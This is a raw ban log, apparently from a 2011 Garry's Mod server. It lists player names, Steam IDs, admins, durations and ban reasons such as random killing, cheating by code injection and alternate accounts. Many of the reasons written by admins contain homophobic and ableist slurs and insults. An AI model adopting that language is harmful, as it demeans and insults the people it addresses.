+9:48 pm 26-05-11 Aidan [UK] STEAM_0:0:13528709 Kiwii Unknown +Unknown 1:0:0 Unbanned +9:48 pm 26-05-11 Deathnotedo STEAM_0:1:24637211 Kiwii Unknown +Unknown 1:0:0 Unbanned +7:50 pm 26-05-11 Diglett STEAM_0:1:17049176 micspam faggot <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +7:44 pm 26-05-11 ToX1c [Gmod.biZ] STEAM_0:0:9184559 retard +[SP]+ +MAD MANN Unknown Unknown 1:0:0 Unbanned +6:53 pm 26-05-11 Unknown STEAM_0:1:18595265 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:53 pm 26-05-11 Unknown STEAM_0:1:40856910 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:29 pm 25-05-11 JereDude STEAM_0:0:20475961 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:8:20 Unbanned +8:12 pm 25-05-11 Flapadar STEAM_0:0:10839552 Test (Console) +Unknown Unknown 0:0:53 Unbanned +7:32 pm 25-05-11 Zombiedude101 STEAM_0:0:19988556 how about you +fuck off +[SP]+ MAD MANN Unknown Unknown 1:0:0 Unbanned +6:07 pm 25-05-11 Taina Imatake STEAM_0:1:25616762 (N/A) Kiwii +Unknown Unknown 0:16:40 Unbanned +3:24 pm 25-05-11 Grand Duchess of Trollvania STEAM_0:1:32510633 +Retard rdmer. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +3:19 pm 25-05-11 Benhur STEAM_0:0:24001820 Alt of banned ID +STEAM_0:0:24001820 (Console) Unknown Unknown Permanent Banned +3:16 pm 25-05-11 Unknown STEAM_0:0:4882179 Retard rdmer +[SP]+ +ULTRA Unknown Unknown Permanent Banned +6:35 pm 24-05-11 Admiral STEAM_0:1:3920057 Retard Flapadar +Unknown Unknown Permanent Banned +6:34 pm 24-05-11 Kiwii STEAM_0:1:18960389 Test +[SP]+ ULTRA +Unknown Unknown 0:0:1 Unbanned +4:30 pm 24-05-11 Coockie MONSTER [Gmod.biZ] STEAM_0:0:9184559 idiot ++[SP]+ MAD MANN Unknown Unknown 0:1:0 Unbanned +4:13 pm 24-05-11 Green Lex Luthor STEAM_0:1:13743755 tard +[SP]+ MAD +MANN Unknown Unknown 0:10:0 Unbanned +3:01 pm 24-05-11 Aldof Satlin STEAM_0:1:10178515 Rdm to the extreme +ColdFusion Unknown Unknown 6:6:1 Unbanned +10:48 pm 23-05-11 Carnivore (Aqua Mafia Soldier) STEAM_0:1:3708491 +Fag, Told you not to be the mouse +[SP]+ CCD Unknown Unknown 0:2:0 +Unbanned +5:11 pm 23-05-11 Andaz STEAM_0:0:19953733 Alt of banned ID +STEAM_0:0:19953733 (Console) Unknown Unknown Permanent Banned +2:38 pm 23-05-11 Unknown STEAM_0:1:23749032 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:59 am 23-05-11 Phygar STEAM_0:0:17546475 Lying to admin +[SP]+ +Bloodcore Unknown Unknown 0:10:0 Unbanned +1:57 am 23-05-11 HErp derp STEAM_0:0:26692186 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +1:52 am 23-05-11 Unknown STEAM_0:1:26104355 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:42 pm 22-05-11 Unknown STEAM_0:1:22891954 Continuous rdm of +babyadmin + rdming others. +[SP]+ ULTRA Unknown Unknown 90:0:0 +Unbanned +10:27 pm 22-05-11 Krazyfool STEAM_0:0:25457764 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +4:20 pm 22-05-11 Unknown STEAM_0:1:19511453 Update: Mass RDM, low +karma. RDMing with friend. +[SP]+ ULTRA Unknown Unknown Permanent +Banned +4:14 pm 22-05-11 Unknown STEAM_0:1:14657490 Mass rdm several times. +Low karma. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:13 pm 22-05-11 men tjenare STEAM_0:1:19511453 RDM. Low karma. ++[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:57 pm 22-05-11 Unknown STEAM_0:0:26474790 mass rdm <[Foxes]> +.ExEcute Unknown Unknown 0:3:20 Unbanned +2:16 pm 22-05-11 Unknown STEAM_0:0:31953549 Sort of RDM then +disconnecting. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +1:06 pm 22-05-11 Ð¥Ð?Ð?ЧÐ?Ð? Ð?Ð?РЩ-AK1337PRO STEAM_0:1:27615857 +exploiting door <[Foxes]> .ExEcute Unknown Unknown Permanent Banned +1:03 pm 22-05-11 gurur STEAM_0:0:21776336 rdm <[Foxes]> .ExEcute +Unknown Unknown Permanent Banned +12:58 pm 22-05-11 MCC FTW STEAM_0:0:34586771 RDM <[Foxes]> +.ExEcute Unknown Unknown Permanent Banned +12:23 pm 22-05-11 men tjenare STEAM_0:1:19511453 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:2:0 Unbanned +12:20 pm 22-05-11 {}()cheese killer(){} STEAM_0:1:27454569 mass rdm +<[Foxes]> .ExEcute Unknown Unknown 0:2:0 Unbanned +12:13 pm 22-05-11 [VN-O] Felix STEAM_0:0:35520164 rdm <[Foxes]> +.ExEcute Unknown Unknown 0:1:0 Unbanned +12:27 am 22-05-11 Unknown STEAM_0:0:12269454 Cheat: SethHack. +(Console) Unknown Unknown Permanent Banned +7:19 pm 21-05-11 Unknown STEAM_0:1:14220841 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:22 pm 21-05-11 ^2[GTR 141]^3Captain.Foxer STEAM_0:1:19280513 Follow +the rules next time. +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +12:53 am 21-05-11 Unknown STEAM_0:1:20899589 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:53 am 21-05-11 Unknown STEAM_0:1:15575003 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:52 am 21-05-11 Unknown STEAM_0:1:23361066 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:35 am 21-05-11 Unknown STEAM_0:1:13393436 New ban time +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +11:42 pm 20-05-11 VictorBaun STEAM_0:1:40711412 Obvious hack is +obvious... and it is rdm too +[SP]+ ULTRA Unknown Unknown +Permanent Banned +11:01 pm 20-05-11 Unknown STEAM_0:1:13393436 Update: Permabanned for +trolling +[SP]+ ULTRA Unknown Unknown 0:21:23 Unbanned +10:19 pm 20-05-11 [KFKC] JELLboeY STEAM_0:1:13393436 Low karma + +retard. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +7:43 pm 20-05-11 Syko STEAM_0:1:19893872 Pushing people off is rdm. +And you are a dick +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +7:11 pm 20-05-11 JakScrim STEAM_0:1:40464733 RDM Kiwii Unknown +Unknown 69:10:40 Unbanned +3:33 pm 20-05-11 Red bull STEAM_0:0:36505286 RDM,Little trolling, +lying... Flapadar Unknown Unknown 3:0:0 Unbanned +12:39 pm 20-05-11 Unknown STEAM_0:1:12412908 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:57 am 20-05-11 Unknown STEAM_0:1:38116330 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +12:06 am 20-05-11 Unknown STEAM_0:1:5489988 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +12:04 am 20-05-11 Unknown STEAM_0:1:17672340 Exploit ( Link + +) (Console) Unknown Unknown Permanent Banned +11:39 pm 19-05-11 DarkScorpion STEAM_0:1:25374431 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 0:20:0 Unbanned +11:22 pm 19-05-11 a newspaper STEAM_0:0:17480101 Mass-RDM as +detective, Burn in hell +[SP]+ Bloodcore Unknown Unknown Permanent +Banned +11:18 pm 19-05-11 dacisco101 STEAM_0:1:28083663 Mass-RDM as +detective +[SP]+ Bloodcore Unknown Unknown 0:10:0 Unbanned +4:59 pm 19-05-11 Tubbe STEAM_0:1:24121795 Alt of banned ID +STEAM_0:1:37767930 (Console) Unknown Unknown Permanent Banned +11:54 am 19-05-11 Jummy STEAM_0:0:13297057 you suck Kiwii Unknown +Unknown 0:0:10 Unbanned +2:11 am 19-05-11 Unknown STEAM_0:1:33962112 Cheat: TeaBag Hack +(Console) Unknown Unknown Permanent Banned +7:30 pm 18-05-11 Unknown STEAM_0:1:32234981 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:26 pm 18-05-11 Mercury Meltdown STEAM_0:1:14464668 repeated rdm and +claiming shit +[SP]+ SAD MANN Unknown Unknown 69:10:40 Unbanned +3:14 pm 18-05-11 BLOOD AnGEL STEAM_0:0:36912796 Wearing tags and +being ass St. Hetfield Unknown Unknown 0:20:0 Unbanned +3:12 pm 18-05-11 Unknown STEAM_0:0:36912796 Disconnecting was a bad +idea to do mate St. Hetfield Unknown Unknown 0:20:0 Unbanned +1:46 pm 18-05-11 haki(rus) STEAM_0:0:39083268 boosting +[SP]+ MAD +MANN Unknown Unknown 1:0:0 Unbanned +11:36 pm 17-05-11 Win32.Backdoor.Ethereal STEAM_0:1:17119595 +Massive RDM +[SP]+ Searaphim Unknown Unknown Permanent Banned +7:03 pm 17-05-11 Unknown STEAM_0:1:24101589 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:39 pm 17-05-11 {>BW<} DEEP FÑ?IED M@Ñ?$ B@R! STEAM_0:1:9622670 Low +Karma +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +5:33 pm 17-05-11 Ice Fox STEAM_0:1:21588698 Ghosting, RDM (Unban by +ColdFusion 5/18/11) <[Foxes]> Yello Mellow Unknown Unknown 0:0:0 +Unbanned +3:16 pm 17-05-11 [AR] Norwegian Soldier STEAM_0:1:6857780 You asked +for it. +[SP]+ ULTRA Unknown Unknown Permanent Banned +8:55 pm 16-05-11 Unknown STEAM_0:0:36505286 Troll + retard +[SP]+ +ULTRA Unknown Unknown 1:0:0 Unbanned +8:23 pm 16-05-11 men tjenare STEAM_0:1:19511453 shut +[SP]+ MAD +MANN Unknown Unknown 0:0:10 Unbanned +4:17 pm 16-05-11 lolz is the traitor? STEAM_0:1:33127561 (N/A) ++[SP]+ Grim Jam Unknown Unknown 0:5:0 Unbanned +2:37 pm 16-05-11 Unknown STEAM_0:1:29849366 RDM, disconnect +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +2:12 pm 16-05-11 |VS||s{M}s| STEAM_0:1:39743812 RDM, My genitals +itch +[SP]+ St. Hetfield Unknown Unknown 8:8:0 Unbanned +1:24 pm 16-05-11 Unknown STEAM_0:1:21155536 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:47 pm 15-05-11 Unknown STEAM_0:1:28365925 Mass-Teamkilling as +traitor +[SP]+ Bloodcore Unknown Unknown Permanent Banned +10:00 pm 15-05-11 mandark STEAM_0:0:404578 Try not RDMing next time ++[SP]+ Suicidal Robot Unknown Unknown 0:1:0 Unbanned +9:27 pm 15-05-11 Faladorian STEAM_0:0:25264964 RDM + idiot +Flapadar Unknown Unknown 2:0:0 Unbanned +9:26 pm 15-05-11 [¿*GJJ | Grand [GER]*¿] STEAM_0:1:19865763 crowbar +RDM +[SP]+ Suicidal Robot Unknown Unknown 0:1:0 Unbanned +9:04 pm 15-05-11 +[SP]+ Buttsecks STEAM_0:1:20710616 Randomly +attacking then ignoring admin... +[SP]+ ULTRA Unknown Unknown +1:0:0 Unbanned +5:49 pm 15-05-11 Unknown STEAM_0:0:33452296 Fuck off retard +[SP]+ +St. Hetfield Unknown Unknown Permanent Banned +5:23 pm 15-05-11 ĴѲÐ?Ð?ζ112 NooB! STEAM_0:0:34582017 RDM, +Trolling +[SP]+ St. Hetfield Unknown Unknown 8:8:0 Unbanned +3:33 pm 15-05-11 Bob STEAM_0:0:28252305 Alt of banned ID +STEAM_0:0:27067158 (Console) Unknown Unknown 0:4:1 Unbanned +2:34 pm 15-05-11 Evil monkey madman STEAM_0:0:27067158 Asshole ++[SP]+ St. Hetfield Unknown Unknown 0:5:0 Unbanned +12:26 pm 15-05-11 Unknown STEAM_0:1:13359766 RDM, Disconnect, Troll ++[SP]+ St. Hetfield Unknown Unknown Permanent Banned +11:26 pm 14-05-11 Unknown STEAM_0:0:25188240 RDM +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +10:26 pm 14-05-11 Unknown STEAM_0:1:15628811 RDM, Troll +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +10:26 pm 14-05-11 Unknown STEAM_0:0:6096966 RDM, Troll +[SP]+ St. +Hetfield Unknown Unknown Permanent Banned +8:51 pm 14-05-11 [DyN] à¹?Û£Ã?onkAtomicPunchâ?¢ STEAM_0:0:27503788 +RDM, Hobo +[SP]+ Bloodcore Unknown Unknown 62:12:0 Unbanned +7:38 pm 14-05-11 Coockie Monster [Gmod.biZ] STEAM_0:0:9184559 Low +Karma +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +4:17 pm 14-05-11 Unknown STEAM_0:0:22995416 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:25 pm 14-05-11 Unknown STEAM_0:1:36017201 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:43 pm 13-05-11 Benhur STEAM_0:0:24001820 Bye, Go QQ on the Bans. +Ghosting. Mass RDM, Derogatory remarks and low karma +[SP]+ CCD +Unknown Unknown Permanent Banned +5:38 pm 13-05-11 SARGE (ANDRIAS) STEAM_0:1:33813361 RDM +[SP]+ +Bloodcore Unknown Unknown 4:4:0 Unbanned +4:00 pm 13-05-11 .[Killer]Ninja. STEAM_0:1:39847971 Fuck off kiddie +retard spammer. +[SP]+ ULTRA Unknown Unknown 1:0:0 Unbanned +3:52 pm 13-05-11 Unknown STEAM_0:0:15858318 Basing off-world. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +9:09 pm 12-05-11 Unknown STEAM_0:1:9622670 RDM -> Disconnect +[SP]+ +Bloodcore Unknown Unknown 0:20:0 Unbanned +2:40 am 12-05-11 JewBagel STEAM_0:0:31213658 RDM +[SP]+ Searaphim +Unknown Unknown 0:8:20 Unbanned +2:30 am 12-05-11 Fake Shady STEAM_0:0:11855023 Racism Detected, 1 +hour ban. +[SP]+ Searaphim Unknown Unknown 0:1:0 Unbanned +11:02 pm 10-05-11 Unknown STEAM_0:1:25915577 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:53 pm 10-05-11 Unknown STEAM_0:1:24883940 Annoying mic spammer, rdm +then lying and making some shit story. Fucktard The assembly line in +Dresden Unknown Unknown 7:0:0 Unbanned +6:49 pm 10-05-11 Unknown STEAM_0:1:3517399 RDM + Leave The assembly +line in Dresden Unknown Unknown 7:0:0 Unbanned +6:40 pm 10-05-11 Tony STEAM_0:0:34875775 Traitor tk + Ignoring admin. +Fucktard. The assembly line in Dresden Unknown Unknown Permanent +Banned +4:06 pm 10-05-11 Unknown STEAM_0:0:40519716 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:49 pm 09-05-11 Unknown STEAM_0:1:37214673 Dumb twat (Likely alt of +nikolaj3757) (Console) Unknown Unknown Permanent Banned +6:07 pm 09-05-11 Unknown STEAM_0:1:14299044 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:01 pm 08-05-11 -BC- *Gen *Prick STEAM_0:0:404578 Alt of banned ID +STEAM_0:1:337624 (Console) Unknown Unknown 0:9:45 Unbanned +10:46 pm 08-05-11 Hudson STEAM_0:1:337624 Prop kill(almost) + +ignoring admin. +[SP]+ ULTRA Unknown Unknown 0:10:0 Unbanned +8:08 pm 08-05-11 Unknown STEAM_0:0:22944528 RDM, Mic Spam, Left ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +4:31 pm 08-05-11 Unknown STEAM_0:1:26623243 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:20 am 08-05-11 Unknown STEAM_0:0:20231238 RDM, Left +[SP]+ CCD +Unknown Unknown 3:3:0 Unbanned +11:49 pm 07-05-11 Unknown STEAM_0:1:6891944 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:49 pm 07-05-11 Unknown STEAM_0:0:21044008 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:49 pm 07-05-11 Unknown STEAM_0:1:18246102 Voice Spam, Chat Spam, +Admin Disrespect, Disconnecting to prevent punishment +[SP]+ +Bloodcore Unknown Unknown Permanent Banned +10:02 pm 07-05-11 »ȤÏ?Å¢Æ?« aNthii STEAM_0:1:18234911 RDM, Admin +Disrespect, Fool +[SP]+ Bloodcore Unknown Unknown Permanent Banned +7:08 pm 07-05-11 â?¨â?ºÉ?Å?&ƦÒ?â?¹â?¨ Dave STEAM_0:0:27478509 +Teamkilling Traitors, Ignoring admin, learn to read. +[SP]+ Bloodcore +Unknown Unknown 41:16:0 Unbanned +6:19 pm 07-05-11 Unknown STEAM_0:0:26794710 RDM lololol +[SP]+ +Suicidal Robot Unknown Unknown 0:1:0 Unbanned +6:19 pm 07-05-11 vittwow STEAM_0:0:26794710 Mass-RDM, Enjoy. +[SP]+ +Bloodcore Unknown Unknown 0:1:30 Unbanned +12:13 pm 07-05-11 Unknown STEAM_0:0:20102730 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:18 am 07-05-11 Unknown STEAM_0:1:29564212 Mass-RDM as detective, +Disconnect to prevent punishment +[SP]+ Bloodcore Unknown Unknown +Permanent Banned +11:33 pm 06-05-11 Narwhal with Loadsamoney! STEAM_0:1:4883056 +Mass-RDM as Detective, Ignoring Admin++ +[SP]+ Bloodcore Unknown +Unknown Permanent Banned +11:01 pm 06-05-11 linus2011 STEAM_0:0:37766021 Mass-RDM, Retard ++[SP]+ Bloodcore Unknown Unknown Permanent Banned +8:41 pm 05-05-11 killer STEAM_0:1:33456444 Alt of banned ID +STEAM_0:0:30402831 (Console) Unknown Unknown Permanent Banned +6:41 pm 05-05-11 Unknown STEAM_0:1:37574404 Mass-RDM +[SP]+ +Bloodcore Unknown Unknown 12:12:0 Unbanned +6:26 pm 05-05-11 | â?¹â?¢Nikolajâ?¢â?º| STEAM_0:0:30402831 You are +supposed to be permabanned. +[SP]+ ULTRA Unknown Unknown Permanent +Banned +3:00 pm 05-05-11 1+3+3=7 STEAM_0:1:16157086 Alt of banned ID +STEAM_0:1:11641057 (Console) Unknown Unknown Permanent Banned +12:08 am 05-05-11 Zombi Dorian¹ STEAM_0:1:18019895 Alt of banned ID +STEAM_0:0:36841282 (Console) Unknown Unknown Permanent Banned +8:43 pm 04-05-11 [J] [P] STEAM_0:0:35556210 You NOOB! +[SP]+ CCD +Unknown Unknown 2:12:0 Unbanned +7:37 pm 04-05-11 Unknown STEAM_0:0:19035165 Learn to play. Upgraded +to fucking perma. +[SP]+ ULTRA Unknown Unknown Permanent Banned +7:37 pm 04-05-11 Grassman STEAM_0:0:19035165 Learn to play. +[SP]+ +ULTRA Unknown Unknown 7:0:0 Unbanned +5:48 pm 04-05-11 Unknown STEAM_0:0:25307981 Forcefully uploading +scripts isn't a laughing matter. (Console) Unknown Unknown +Permanent Banned +5:46 pm 04-05-11 Unknown STEAM_0:0:17809124 Forcefully uploading +scripts isn't a laughing matter. (Console) Unknown Unknown +Permanent Banned +12:53 am 04-05-11 GLaDoS 2.0 STEAM_0:1:17582031 RDMed Again! +[SP]+ +Searaphim Unknown Unknown Permanent Banned +10:09 pm 03-05-11 -BC- *Gen *Prick STEAM_0:0:404578 RDM/Innocenet +C4 +[SP]+ Suicidal Robot Unknown Unknown 0:3:0 Unbanned +3:57 pm 03-05-11 Unknown STEAM_0:1:19064705 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +3:55 pm 03-05-11 Unknown STEAM_0:1:14253172 Racist, spamming, general +douchbag (Console) Unknown Unknown Permanent Banned +3:50 pm 03-05-11 Soap STEAM_0:0:23387476 RDM Frosted Butts +Unknown Unknown 0:12:0 Unbanned +12:06 am 03-05-11 GodIsMyHero STEAM_0:0:27687690 RDM, Treason +[SP]+ +CCD Unknown Unknown 0:2:0 Unbanned +5:59 pm 02-05-11 Unknown STEAM_0:1:35173535 Injected cheat +Flapadar Unknown Unknown Permanent Banned +11:17 pm 01-05-11 Simon STEAM_0:0:19142170 Low Karma +[SP]+ Suicidal +Robot Unknown Unknown 0:1:0 Unbanned +11:16 pm 01-05-11 Jacv [PT] STEAM_0:0:19973712 (N/A) +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +11:15 pm 01-05-11 Unknown STEAM_0:0:19973712 RDM +[SP]+ Suicidal +Robot Unknown Unknown 0:2:0 Unbanned +9:52 pm 01-05-11 charlie the headcrab :) STEAM_0:1:26949104 RDM ++[SP]+ Suicidal Robot Unknown Unknown 0:3:0 Unbanned +9:23 pm 01-05-11 Morkz STEAM_0:0:9184559 Rmding +[SP]+ MAD MANN +Unknown Unknown 4:20:40 Unbanned +6:41 pm 01-05-11 Irka STEAM_0:1:18225902 RDM {SuPa}-leet-[KILLA] +Cap-A-RoBoT Unknown Unknown 0:2:0 Unbanned +3:46 pm 01-05-11 Intoxicated Spycrab STEAM_0:0:30305169 Making more +applications +[SP]+ Grim Jam Unknown Unknown 1:9:20 Unbanned +12:30 pm 01-05-11 Lucky Number 9 STEAM_0:1:6017936 Dicksuck +[SP]+ +Grim Jam Unknown Unknown 0:16:47 Unbanned +12:29 pm 01-05-11 DarkScorpion STEAM_0:1:25374431 Dicksuck +[SP]+ +Grim Jam Unknown Unknown 0:16:47 Unbanned +3:30 am 01-05-11 King Takeo Imataina STEAM_0:0:31812766 (N/A) +.ExEcute Unknown Unknown 69:10:40 Unbanned +3:30 am 01-05-11 Queen Taina Imatake STEAM_0:1:25616762 (N/A) +.ExEcute Unknown Unknown 6:22:40 Unbanned +3:30 am 01-05-11 Unknown STEAM_0:1:25616762 (N/A) .ExEcute +Unknown Unknown Permanent Banned +3:28 am 01-05-11 Unknown STEAM_0:1:2561676 micspam .ExEcute +Unknown Unknown Permanent Banned +12:20 am 01-05-11 Unknown STEAM_0:1:28978882 Low Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +11:52 pm 30-04-11 DarkScorpion STEAM_0:1:25374431 412 karma... ++[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +11:51 pm 30-04-11 Morkz STEAM_0:0:9184559 Low KArma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +6:24 pm 30-04-11 â?¢à¹?Û£Û?Boneà¹?Û£Û?Breakerâ?¢ STEAM_0:0:30812563 +RDM (And then an "RDM Round") Flapadar Unknown Unknown Permanent +Unbanned +12:44 pm 30-04-11 Unknown STEAM_0:1:15294162 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:43 pm 30-04-11 Unknown STEAM_0:0:26526813 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:16 am 30-04-11 >Evil Master< STEAM_0:1:39847971 Low Karma ++[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +12:01 am 30-04-11 Dr.Greenthumb[Ger] STEAM_0:1:23557563 RMD +[SP]+ +Searaphim Unknown Unknown Permanent Banned +10:26 pm 29-04-11 Morkz STEAM_0:0:9184559 Spam +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +7:29 pm 29-04-11 Manwell STEAM_0:1:35078510 Alt of banned ID +STEAM_0:1:14928653 - Unban by flap (Console) Unknown Unknown +Permanent Unbanned +3:28 pm 29-04-11 +[SP]+ MEaDOW STEAM_0:0:18096541 just +[SP]+ MAD +MANN Unknown Unknown 0:0:10 Unbanned +10:03 pm 28-04-11 Unknown STEAM_0:0:38186996 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +4:31 pm 28-04-11 Get a job sparkling wiggles STEAM_0:1:22837038 Gtfo +rdmer. +[SP]+ ULTRA Unknown Unknown Permanent Banned +4:10 pm 28-04-11 Unknown STEAM_0:0:16470500 RDM. Leaving. +[SP]+ +ULTRA Unknown Unknown 14:0:0 Unbanned +4:08 pm 28-04-11 ã?¯ã?­ã?¼ã? STEAM_0:1:26410778 Obvious rdm is +obvious. +[SP]+ ULTRA Unknown Unknown 7:0:0 Unbanned +4:07 pm 27-04-11 Unknown STEAM_0:0:40406128 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:35 pm 27-04-11 Unknown STEAM_0:1:39052466 Mass +[SP]+ Nekoace +Unknown Unknown 6944:10:39 Banned +1:34 pm 27-04-11 Kanuken STEAM_0:1:39052466 Mass +[SP]+ Nekoace +Unknown Unknown Permanent Banned +10:30 pm 26-04-11 Rick OShea STEAM_0:0:404578 Alt of banned ID +STEAM_0:1:337624 (Console) Unknown Unknown 0:23:49 Unbanned +10:20 pm 26-04-11 Hudson STEAM_0:1:337624 Karma under 600 +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +10:17 pm 26-04-11 Unknown STEAM_0:0:23033918 Karma, RDM and generally +being a dick +[SP]+ Hellknite Unknown Unknown Permanent Banned +10:14 pm 26-04-11 Niklas ã?? STEAM_0:0:23033918 Karma, RDM and +generally being a dick +[SP]+ Hellknite Unknown Unknown 1:16:40 +Unbanned +6:45 pm 26-04-11 Niklas ã?? STEAM_0:0:23033918 Low Karma +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +6:45 pm 26-04-11 Unknown STEAM_0:0:23033918 Low Karma +[SP]+ CCD +Unknown Unknown 0:1:0 Unbanned +6:13 pm 26-04-11 Marcykay STEAM_0:1:24734830 bye +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +11:48 pm 25-04-11 Unknown STEAM_0:0:40161470 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +10:41 pm 25-04-11 Unknown STEAM_0:1:4883056 (N/A) +[SP]+ Nekoace +Unknown Unknown 6:22:40 Unbanned +10:25 pm 25-04-11 +[SP]+ DreamKiller STEAM_0:0:6673961 Flase SP +Member +[SP]+ CCD Unknown Unknown Permanent Banned +12:04 pm 25-04-11 Unknown STEAM_0:0:27362667 Twat (Console) +Unknown Unknown Permanent Banned +11:59 am 25-04-11 Unknown STEAM_0:1:21977353 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +6:22 pm 24-04-11 Cheese STEAM_0:1:20710616 RMD, Low karma +[SP]+ +CCD Unknown Unknown 0:1:0 Unbanned +12:26 pm 24-04-11 Unknown STEAM_0:0:5685772 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:25 pm 24-04-11 Unknown STEAM_0:0:22349391 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:13 am 24-04-11 Unknown STEAM_0:0:30874880 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:55 pm 23-04-11 VRN|Laserman@Enter Sumthin Here STEAM_0:0:7803220 +Dickhead. +[SP]+ ULTRA Unknown Unknown 0:5:0 Unbanned +9:52 pm 23-04-11 my ass STEAM_0:1:19758541 Huge ass troll, rdmer. ++[SP]+ ULTRA Unknown Unknown Permanent Banned +9:31 pm 23-04-11 =-=SC=-=bullet-proof-monk STEAM_0:1:1613039 RDM. +Dickhead. +[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +9:23 pm 23-04-11 kristian STEAM_0:0:28455995 Learn to play, idiot. ++[SP]+ ULTRA Unknown Unknown 14:0:0 Unbanned +2:56 pm 23-04-11 Unknown STEAM_0:0:36780574 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 23-04-11 Unknown STEAM_0:0:37814204 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +11:56 am 23-04-11 Unknown STEAM_0:1:15712642 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:18 am 23-04-11 Who STEAM_0:1:22837038 Rdm, Low Karma +[SP]+ CCD +Unknown Unknown 0:2:0 Unbanned +1:08 am 23-04-11 Orbixx STEAM_0:1:6019229 RDM +[SP]+ CCD Unknown +Unknown 0:1:0 Unbanned +12:20 am 23-04-11 Unknown STEAM_0:1:22047853 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +12:20 am 23-04-11 Unknown STEAM_0:1:19916550 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +9:07 pm 22-04-11 Unknown STEAM_0:0:3228595 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:53 pm 22-04-11 DK-Spy á´°á´· STEAM_0:1:32425210 RDM. +[SP]+ +ULTRA Unknown Unknown 0:5:0 Unbanned +7:42 pm 22-04-11 Unknown STEAM_0:1:34202299 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +7:37 pm 22-04-11 demetri0404 STEAM_0:0:39749442 Descrimination ++[SP]+ CCD Unknown Unknown 3:3:0 Unbanned +7:30 pm 22-04-11 MÃ?Ã?Ã?HDDDYYY STEAM_0:0:35091788 Learn to play the +game +[SP]+ CCD Unknown Unknown 0:1:0 Unbanned +7:25 pm 22-04-11 CricketM17 STEAM_0:1:15712642 Learn to listen ++[SP]+ CCD Unknown Unknown 0:2:0 Unbanned +11:42 am 22-04-11 Unknown STEAM_0:0:17965481 Attempt to RDM. +Leaving. +[SP]+ ULTRA Unknown Unknown 30:0:0 Unbanned +11:17 am 22-04-11 Unknown STEAM_0:0:27566975 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +2:17 am 22-04-11 Unknown STEAM_0:1:32324604 Cheat: Code injection +(Console) Unknown Unknown Permanent Banned +1:19 am 22-04-11 Unknown STEAM_0:0:5448426 Rdming metacunt +[SP]+ +Hellknite Unknown Unknown 1:0:0 Unbanned +10:42 pm 21-04-11 Alexander Longstrider STEAM_0:1:40327043 Alt of +banned ID STEAM_0:1:22168985 (Console) Unknown Unknown Permanent +Banned +9:26 pm 21-04-11 Unknown STEAM_0:0:23245029 learn to play 